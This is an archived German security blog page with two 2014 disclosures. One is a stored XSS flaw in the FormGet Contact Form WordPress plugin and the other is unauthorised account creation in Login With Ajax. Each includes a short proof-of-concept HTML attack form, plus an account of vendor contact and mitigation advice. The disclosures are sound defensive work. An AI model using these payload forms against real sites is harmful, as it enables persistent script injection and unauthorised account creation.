Archive: Day 29, Month 8, Year 2014

Bug in FormGet Contact Form Plugin erlaubt Persistive XSS

29.08.2014 yahe legacy security wordpress

Heute habe ich noch etwas spannendes für euch: eine Persistive-XSS-Lücke. Das bedeutet, dass man nicht jedem Benutzer den manipulierten Seiteninhalt unterschieben muss, sondern, dass diese permanent gespeichert wird und so bei jedem Aufruf der Originalwebseite aktiv wird. Gefunden habe ich diesen Fehler im FormGet Contact Form Plugin.

Das Plugin besteht nur aus der Datei "index.php" und bietet einen AJAX-Endpunkt in der Funktion "cf_text_ajax_process_request()". Dort werden einfach ungeprüft POST-Parameter in die Plugin-Konfiguration übernommen. Besonders spannend ist die Option "fg_embed_code", die über den POST-Parameter "value" gesetzt wird. Dabei handelt es sich um Code, der später über die Funktion "embeded_code()" in jeder Seite des Wordpress-Blogs eingebunden wird: Jackpot! Die Einbringung von eigenem Code funktioniert relativ einfach über ein HTML-Formular, das ein Angreifer einmalig benutzen muss:

<form action="http://example.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="request_response" />
  <input type="hidden" name="value" value="<script>alert('XSS.');//sideBar</script>" />
  <input type="hidden" name="value_hide" value="" />
  <input type="hidden" name="page_id" value="" />
  <input type="submit" />
</form>

Ich stand mit den Entwicklern in Kontakt, die mir auch mitgeteilt hatten, etwas auf der Serverseite gefixt zu haben. Auf meine Anmerkung hin, dass der Fehler im Plugin sei und nicht in ihrer Serveranwendung, erhielt ich jedoch keine Antwort mehr. Solange kein Patch verfügbar ist, kann der Rat deshalb nur lauten, das Plugin umgehend zu deaktivieren.


Bug in Login With Ajax Plugin erstellt Nutzeraccounts

29.08.2014 yahe legacy security wordpress

Anfang dieser Woche hatte ich über ein Plugin informiert, mit dem ein Angreifer ungefragt neue Nutzer anlegen kann. Damit ist das vorgestellte Plugin leider nicht allein. Denn auch das Login With Ajax Plugin hat diese unschöne Sonderfunktion.

In der Datei "login-with-ajax.php" befindet sich die Klasse "LoginWithAjax", die man mit einem präparierten Formular dazu bringen kann, neue Accounts anzulegen, selbst dann, wenn die Registrierung neuer Nutzer eigentlich in der Wordpress-Konfiguration ausgeschaltet wurde:

<form action="http://example.com/" method="POST">
  <input type="hidden" name="lwa" value="true" />
  <input type="hidden" name="login-with-ajax" value="register" />
  <input type="hidden" name="user_login" value="exploit" />
  <input type="hidden" name="user_email" value="exploit@example.com" />
  <input type="submit" />
</form>

Ich bekam vor mehreren Wochen von den Entwicklern die Aussage, dass sie das Problem ASAP beheben würden. Seitdem ist jedoch nichts mehr geschehen. Der Tipp an dieser Stelle kann deshalb nur lauten, das Plugin zu deaktivieren, bis es ein Update gegeben hat. Viele andere Plugins prüfen häufig lediglich, ob ein Nutzer eingeloggt ist, bevor sie ihre Funktionalität bereitstellen. diese Absicherung kann aufgrund des Bugs derzeit umgangen werden.

Update

In der Version 3.1.3 wurde dieser Fehler nun endlich behoben.


Search

Links

RSS feed

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)